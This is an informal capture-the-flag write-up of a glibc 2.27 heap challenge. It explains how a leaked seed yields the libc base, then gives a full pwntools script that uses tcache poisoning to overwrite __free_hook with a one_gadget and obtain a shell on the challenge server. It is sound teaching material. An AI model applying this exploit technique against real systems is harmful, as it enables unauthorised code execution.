this writeup is created months after the ctf, so bare with me

description

this writeup is very similar to my cache money writeup, except for starters it is not very pretty to look at. this was done during the CTF and i havent cleaned it up, and i dont plan on cleaning it up. anyways the main differences from this challenge and cache money is:

  • we can only allocate 4 chunks, this time up to 64 bytes in size
    • we can overflow into the next chunk by creating a chunk of size X and writing >X into the chunk
  • this uses glibc 2.27
  • we use a one_gadget in glibc 2.27 to pop the shell instead of calling system with sh

writeup

when running the program we are greeted with an interesting string:

Kernel Seed: XXXXX

viewing the source code we can determine how this “kernel seed” was generated, unfortunately we do not have the source anymore, but the code used to reverse kernel seed into a glibc address is

m0 = int(leak,16) - 0x1070
rand = (int(seed, 16) ^ m0) + 0x97
libc = rand - 0x44390
__free_hook = libc + 0x3ed8e8
win = int(leak,16) - 0x111cf24
print("[+] leak:", leak)
print("[+] rand@@GLIBC:", hex(rand))
print("[+] libc_base:", hex(libc))

there was a win function in the program that called a shell but we completely bypass the need for this, potential unintended?

anyways, having rand@@glibc and knowing the glibc version we use this to calculate the glibc base, thus giving us the address of our beloved __free_hook@@glibc

from here we perform tcache poisoning to overwrite __free_hook and the fd pointer, free the infected chunk and gain a shell. full solve below

solve.py

#!/usr/bin/env python3
from pwn import *

p = remote("0.cloud.chals.io", 10034)
p.recvuntil(b"Kernel Seed: ")
seed = p.recvline()[:-1]
print("[!] seed:", seed.decode())
p.recvuntil(b"Enter option:")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Delete flag
print("[+] DELETE FLAG")
p.sendline(b"4")
p.recv()
p.sendline(b"3")
p.recvuntil(b"Enter option: ")

# Delete flag
print("[+] DELETE FLAG")
p.sendline(b"4")
p.recv()
p.sendline(b"2")
p.recvuntil(b"Enter option: ")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Read flag
print("[+] READ FLAG")
p.sendline(b"3")
p.recv()
p.sendline(b"2")
p.recvuntil(b"\n\n")
leak = p.recvline()[:-1][::-1].hex()
p.recvuntil(b"Enter option: ")

m0 = int(leak,16) - 0x1070
rand = (int(seed, 16) ^ m0) + 0x97
libc = rand - 0x44390
__free_hook = libc + 0x3ed8e8
win = int(leak,16) - 0x111cf24
print("[+] leak:", leak)
print("[+] rand@@GLIBC:", hex(rand))
print("[+] libc_base:", hex(libc))

if not hex(libc).endswith("00"):
    p.kill()
    p.close()

# Delete flag
print("[+] DELETE FLAG")
p.sendline(b"4")
p.recv()
p.sendline(b"2")
p.recvuntil(b"Enter option: ")

# Edit flag
print("[+] EDIT FLAG")
p.sendline(b"2")
p.recv()
p.sendline(b"1")
p.recv()
p.send((b"\x00" * 24) + (b"\x21") + (b"\x00" * 7) + p64(__free_hook))
p.recvuntil(b"Enter option: ")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Create flag
print("[+] CREATE FLAG")
p.sendline(b"1")
p.recv()
p.sendline(b"16")
p.recvuntil(b"Enter option: ")

# Edit flag
print("[+] EDIT FLAG")
p.sendline(b"2")
p.recv()
p.sendline(b"3")
p.recv()
p.send(p64(libc + 0x4f302))
p.recvuntil(b"Enter option: ")

# Delete flag
print("[+] DELETE FLAG")
p.sendline(b"4")
p.recv()
p.sendline(b"2")
p.recv()
p.interactive()